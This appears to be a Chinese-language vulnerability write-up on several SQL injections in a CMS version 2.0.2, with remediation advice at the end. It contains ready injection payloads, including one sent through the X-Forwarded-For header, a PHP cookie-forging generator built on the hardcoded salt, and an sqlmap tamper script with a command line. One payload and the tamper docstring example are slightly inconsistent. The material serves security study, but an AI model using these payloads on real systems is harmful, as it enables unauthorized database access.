某CMS的多处SQL注入审计分析
字数 1675 2025-08-26 22:11:57
某CMS多处SQL注入漏洞分析与利用教学
1. 漏洞概述
本文档详细分析某CMS 2.0.2版本中存在的多处SQL注入漏洞,包括后台和前台多个功能点的注入漏洞。这些漏洞已在最新版本中修复,本文仅用于安全研究和学习目的。
2. 环境准备
- 目标CMS版本:2.0.2
- 测试工具:SQLMap、Burp Suite等
- 基础知识:PHP、SQL注入原理、HTTP协议
3. 后台SQL注入漏洞分析
3.1 后台de***.php注入(CNVD-2020-12871)
漏洞位置:de***.php文件中的de***_add函数
漏洞分析:
- 函数对GET和POST参数进行
empty判断 - 参数传递给
edit_admin_department函数 - 只有
$departmentname和$olddepartmentname经过usafestr安全过滤 $id参数未过滤直接拼接SQL语句
利用方法:
- 构造恶意
id参数进行注入 - 示例Payload:
id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)
3.2 后台lo***.php注入
漏洞位置:lo***.php中的adminlogin功能
漏洞分析:
- 获取登录者IP:
getip()->$logiparr->encode->$logipstr - IP未经过滤直接拼接到SQL语句
getip()函数返回HTTP_X_FORWARDED_FOR头部值
利用方法:
- 通过
X-Forwarded-For头部注入 - 示例:
X-Forwarded-For: 127.0.0.1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--
3.3 后台role.php注入
漏洞位置:role.php文件
漏洞分析:
- 参数
id只进行empty判断 - 未过滤直接用于
edit_admin_role函数中的SQL查询 - 基于布尔或时间的盲注
利用方法:
- 直接使用SQLMap进行自动化测试
- 示例:
id=1 AND 1=CONVERT(INT,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))
4. 前台SQL注入漏洞分析
4.1 前台me***.php注入
漏洞位置:me***.php中的自定义表单customform
漏洞分析:
userid从Cookie中获取- Cookie中的
userid经过yunyecms_strdecode函数解密 - 解密算法位于
corefun.php - 攻击者可伪造Cookie中的
userid值
加密/解密算法:
function yunyecms_strencode($string, $salt = '~^y#u%n$y^e*c%m^s^~'){
return base64_encode(substr(md5($salt), 8, 18) . base64_encode($string) . substr(sha1($salt), 0, 35));
}
function yunyecms_strdecode($string, $salt = '~^y#u%n$y^e*c%m^s^~'){
$retstr = base64_decode($string);
$SHA1salt = substr(sha1($salt), 0, 35);
$md5salt = substr(md5($salt), 8, 18);
$retstr = substr($retstr, strlen($md5salt));
$retstr = substr($retstr, 0, (strlen($retstr) - strlen($SHA1salt)));
return base64_decode($retstr);
}
利用流程:
- 构造恶意
userid值 - 使用
yunyecms_strencode函数加密 - 将加密结果放入Cookie的
userid字段 - 发送请求触发SQL注入
Payload生成工具:
<?php
function yunyecms_strencode($string, $salt = '~^y#u%n$y^e*c%m^s^~'){
return base64_encode(substr(md5($salt), 8, 18) . base64_encode($string) . substr(sha1($salt), 0, 35));
}
function yunyecms_strdecode($string, $salt = '~^y#u%n$y^e*c%m^s^~'){
$retstr = base64_decode($string);
$SHA1salt = substr(sha1($salt), 0, 35);
$md5salt = substr(md5($salt), 8, 18);
$retstr = substr($retstr, strlen($md5salt));
$retstr = substr($retstr, 0, (strlen($retstr) - strlen($SHA1salt)));
return base64_decode($retstr);
}
if($_GET['cookie']) {
$string = $_GET['cookie'];
$userid = yunyecms_strdecode($string);
echo $userid;
}
if($_GET['userid']){
$string = $_GET['userid'];
$cookie = yunyecms_strencode($string);
echo $cookie;
}
4.2 SQLMap Tamper脚本
为方便使用SQLMap自动化测试,可编写以下Tamper脚本:
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import base64
import hashlib
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
pass
def md5(data):
hash_md5 = hashlib.md5(data)
md5data = hash_md5.hexdigest()[8:18]
return md5data
def sha1(data):
string_sha1 = hashlib.sha1(data).hexdigest()[0:35]
return string_sha1
def yunyecms_strencode(string):
salt = '~^y#u%n$y^e*c%m^s^~'
return base64.b64encode(md5(salt) + base64.b64encode(string) + sha1(salt))
def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""
return yunyecms_strencode(payload) if payload else payload
使用方法:
sqlmap -u "http://target.com/member.php" --cookie="userid=*" --tamper=yunyecms_front_sqli_tamp.py --level=3
5. 漏洞修复建议
- 对所有用户输入进行严格的过滤和转义
- 使用预处理语句(PDO)或参数化查询
- 最小化数据库用户权限
- 更新到最新版本CMS
- 对Cookie值进行完整性校验
6. 总结
本文详细分析了某CMS 2.0.2版本中存在的多个SQL注入漏洞,包括:
- 后台
de***.php、lo***.php、role.php等文件的注入 - 前台
me***.php通过Cookie伪造的注入 - 提供了加密/解密算法分析和Payload生成工具
- 编写了SQLMap Tamper脚本方便自动化测试
这些漏洞的根本原因在于对用户输入缺乏充分的验证和过滤,导致攻击者可以构造恶意输入执行任意SQL语句。开发人员应引以为戒,在代码中实施严格的安全措施。